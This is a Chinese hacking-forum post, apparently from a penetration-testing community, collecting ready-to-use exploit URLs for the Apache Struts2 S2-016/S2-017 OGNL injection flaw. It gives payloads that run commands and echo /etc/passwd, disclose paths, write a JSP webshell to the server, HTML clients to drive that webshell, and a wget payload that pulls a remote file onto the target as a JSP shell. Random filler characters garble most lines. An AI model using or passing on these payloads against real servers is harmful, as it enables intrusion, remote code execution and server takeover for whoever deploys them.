中国网络渗透测试联盟

标题: Struts2 S2-016/S2-017漏洞执行代码 [打印本页]

作者: admin    时间: 2013-7-18 23:03
标题: Struts2 S2-016/S2-017漏洞执行代码
大家都发了,,我就整理了一下。友情提示,自己小命比shell重要哦。。
7 B) |$ Y& Y4 m. G4 R* l) z% c* M% b/ S
喜欢就点一下感谢吧^_^
' [  y; n( @; R( k$ e+ V( V% e% ^. u+ T) ^  v: ]% h' N
带回显命令执行:: x1 i9 t% o9 A9 A" f, |

- J  d  O5 L5 x# h+ ^5 Ihttp://www.example.com/struts2-blank/example/X.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
9 S3 B' {6 {% f( t- d: Z$ U' l7 j: B: |) k

% M- Z( G& d5 C4 @9 B, ?+ f+ e9 a6 r' d/ D* B& Y
# ?2 Q4 z6 C  Y; }) i1 p+ M- {
' d1 ^7 s* N" x7 X
) E- Y# a% U) e; n( U9 M! H
0 Y* r$ c* O, g" ?/ [, ~* [# x0 E
爆路径:  M  D+ R5 l- o& w2 P8 Y( H$ Z$ p' P

* v6 i, I: a% i. ^6 y" E( v2 n0 Lhttp://www.example.com/struts2-b ... 8%29.close%28%29%7D* l# e4 e! M- V! y1 x. U5 s# @
; _- v$ b) M& {
: H9 N! r! x% g% J/ V( k$ P% ?. o

, u6 W8 [+ p( C* r7 e' q' {3 D# \" C5 i" T

2 o4 A- \1 _, T# z写文件:8 y6 k' {' A9 S2 P

( T3 Y. i3 C" C) l* v2 X; phttp://www.example.com/struts2-blank/example/X.action?redirect:${
# x0 ^" `' v5 x3 v4 C& a( h: E9 |
%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),: |# M) A( n9 i( N: W, r

7 F9 r- N5 D6 i8 ?%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),* A2 p1 X& R: c
4 S3 {3 w% n) ]* L3 k1 s  ^
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()
0 l9 o) I1 J& ?0 Q4 }9 E
$ B% _9 ]  H0 b/ i4 s& Q}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e. {- ]0 Q0 q) O' I

4 z6 U3 N" @7 D! z. X/ \# ~* j8 T1 K% y! P% d$ i
( X3 ]8 K$ t2 K- a
写入的文件内容:2 ~+ \6 m# u/ Y7 f. E* @
: l' e; k$ j0 @8 z, i9 y  I
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>      
& a% I1 X3 ~1 F! C, b- P
* O/ m5 K0 ?0 F3 r; P% k; g0 c) @其实就是一个jsp的小马,需要客户端配合                                                                                 
2 C: R( U+ j" _6 V6 S0 Q" Q
; y* A6 l+ Z0 U% E' a) d6 l: @, [函数f是文件名,t是内容0 A" r# w0 u% ]3 H" ?- Y0 D0 X
* E0 @& L. W3 d. J  k7 a8 [) ^+ o
客户端:. x4 z: o" Q2 ?# x

8 g3 W) X2 r, I- ]: X<form action="http://www.example.com/struts2-blank/example/css3.jsp?f=fjp.jsp" method="post">: y: q$ ?5 @5 i# M8 d/ O

7 y8 a) y, u6 C+ \6 p<textarea name=t cols=120 rows=10 width=45>your code</textarea>
: j$ \% o) o! s( J: t4 w$ d5 a! X- B
<center>0 K7 K- B4 [$ ]+ f2 A* V
* ~) n) b' B6 F, M' d+ C

5 \) O) D! U' I5 c* p/ K) [- P0 V4 d' V, J/ A* m
<input type=submit value="提交">0 T$ E0 ]. m5 M% V/ l- J

3 d; K, S- p1 O8 H$ e</form>
3 u: C. }3 B# R" V; I* P& |) Z' F% O0 k! A
就在当前目录建立一个fjp.jsp
. G  L- F, i6 U( S3 h* F; y, @8 l# ?' N2 C  t
shell:http://www.example.com/struts2-blank/example/fjp.jsp# N# w3 w' _% v" k  I- G5 k

6 M, C, L) e( a. g$ v# `) o% n
2 B7 t2 O" O  @/ l- N
  k  d0 Q3 x! T  \# p: U$ Y还有@园长的一个客户端:: B( m: S2 R( L, j

- V' c8 n" U5 q5 @<html>2 d+ L  [* ^8 G4 H4 _$ j

$ v9 \3 ~# p5 G4 Z( E0 r% p<head>
1 |, ^. Z8 H6 Q5 ^1 R
% P# r+ n' Q; u+ }, ^<meta http-equiv="content-type" content="text/html;charset=utf-8">
: g$ z# Q, Z$ ^& D  R) A' W
% q- X7 V1 J: J. }' a<title>jsp-园长</title>2 U- x" W6 w7 \2 s

1 F( N/ s. P( o: ?2 C. ]</head>, f" p+ B. W- p# d# m

) L# n5 i0 s' \( J<style>
9 l1 ^( ~/ L- d  b$ h3 b  q9 |0 p( B1 \) ?; k4 {2 l3 z
.main{width:980px;height:600px;margin:0 auto;}- h/ F/ `' @: O0 ^
# l5 d) ~# _6 \7 N3 p
.url{width:300px;}
, p$ D; M0 [) q, N) F& ]+ H" a& _- [& K6 i) D0 }4 w
.fn{width:60px;}
. h3 h8 A' a. e1 o* _
' i- j; c! l4 L; N" V.content{width:80%;height:60%;}1 |3 L* e2 ~6 U% v, V
* k8 ~$ k7 P6 K- H; M  _
</style>
+ Y& w8 h4 n7 H  l' M* ]: n
9 [7 N% w- ^5 M4 M% u6 b, R/ E<script>
. }4 ?  R  [+ E1 a' d
, M! M% N  m2 K$ A0 e; a* s2 ]  function upload(){$ M- _. X8 C) ?. R( }! r
$ i2 f( w: d; b- d" j8 j# u
    var url = document.getElementById('url').value,
# n" s1 s& D( g7 Y
8 r' A; y1 Y7 {. M0 m      content = document.getElementById('content').value,
# x- ?0 G7 P1 [% |# [; z6 q9 V4 A5 R. ^+ m, r; A' }: ~
      fileName = document.getElementById('fn').value,
* s& D1 _8 }% w+ }0 H8 M
7 n8 I7 [3 y/ C0 r; E4 V- H      form = document.getElementById('fm');
, ?. X1 L: u. C6 x$ P4 S9 S5 w7 x1 Y  A& c4 p
    if(url.length == 0){
4 N+ e( b) L6 d: P/ b
2 `  D% d* I8 m4 X! t% a      alert("Url not allowd empty!");: m4 E0 q9 u+ h  ~; K& V( g

' \$ B- P) K$ Z2 x7 b$ t3 S      return ;( m# E; V- q1 t) U8 {7 P: H

) [( p: E  w' |6 u) s# z9 C    }0 r: \1 x+ }/ Z
: k( q& n- ~7 X: l* Q
    if(content.length == 0){$ c- F9 ~- {* L2 j9 D2 e
9 `  o' g) {+ g) i, a
      alert("Content not allowd empty!");' B, A, n' [% }$ `/ C+ ?5 U
( W5 Q0 N5 y1 C$ Y! V8 b
      return ;3 ?* E( Y. t1 K( Z
  T8 S0 k, i( e' n  p# W# c
    }% g, ^. E4 W* @/ I
# q% Y. B) |( {1 F$ W
    if(fileName.length == 0){: O  k" p0 I8 c5 Y7 e
! I+ |1 |: h/ i7 q2 }
      alert("FileName not allowd empty!");
2 z; G7 w; i7 ]5 d( D9 a; u+ e# r- t) I/ Q. `# l% S- A
      return ;
1 G5 \: \1 c# \6 D8 q2 s. A' D+ ]+ w5 [5 m7 O
    }
( n, m  [  A- x% c6 ~0 N( Z
0 a4 r' m: s5 q& m( F    form.action = url;$ X$ ~2 V( L& j! h* ?" Q# N. ]0 _6 t

9 i- Z: L% `, {1 F' R1 O    form.submit();
8 `; k6 M$ d+ a' u: t8 a+ l' O* c
  }. M2 X1 t- }8 ]# B; {/ X" G
) t( @6 b' z2 M! U. V+ z4 O* f
</script>) G7 e$ e5 A8 P0 }" T3 Q
1 c3 G/ c+ C) l. ~& c/ r3 I! I
<body>
. d+ O  B2 }+ N9 m2 I' X) U' E
! b% `4 Q; s0 f( y- `. X<div class="main">! A! ^) {( ~7 i2 X
. }- `4 R! t- ]2 l( p3 k
  <form id="fm" method="post">  6 t/ {0 x' f+ |) \
' C) S4 R* R  ]
    URL:<input type="text" value="http://localhost/Struts2/css3.jsp" class="url" id="url"/>  
4 f; G& P1 J8 s* D
, C5 I" t/ @* u9 H  a) {    FileName:<input type="text" name="f" value="css.jsp" class="fn" id="fn" />  ( W0 N- p# v& `: G2 q

& h. o9 ?0 f/ r. g    <a href="javascript:upload();">Upload</a>5 ]) r9 D& L  q4 f2 [' h

1 _+ \, b! T9 t, S, Q" a: f
9 g; R" h1 h! w  W4 n/ |
3 V6 `/ ^& d3 p& d  H5 g    <textarea id="content" class="content" name="t" ></textarea>$ o; T1 A9 x: U0 s* m
$ A6 Q0 v) l" M# Y0 [$ \" E5 ~
  </form>3 H( ?+ `& I: c  b- H* ^. N: @
6 r/ G5 r+ C7 _. h1 ]) ?$ S! ?
</div>
6 v4 C7 P: _# n4 v4 V" I8 p2 m$ g7 h! Q6 p5 d" S
</body>
1 v9 F3 P1 L  Z4 T! O' x0 C7 l( w3 `
</html>
6 n) [$ o4 ?5 p* Z4 P' f8 j4 M, _* c& `; I$ g  j1 S6 E4 _
! d! L0 X+ x( B* x( N1 }, H- b% j& k8 _, x

" f, M- I; S4 |. h% ^还有@X发的一个wget的getshell
/ Y5 y4 U4 k0 F  t
  M. P# _3 r' s?redirect{%23a%3d(new  java.lang.ProcessBuilder(new java.lang.String[]{'wget','http://www.url.com/xx.txt','- O','/root/1.jsp'}
8 F" F/ s( u6 ~. X0 y5 v5 e+ `! v# I! h* ~) ?
)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b), %23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e), %23piaoye%3d%23context.get ('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23piaoye.getWriter().println (%23e),%23piaoye.getWriter().flush(),%23piaoye.getWriter().close()}% C: p$ S3 w8 ^" o! x2 d: M
复制代码




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2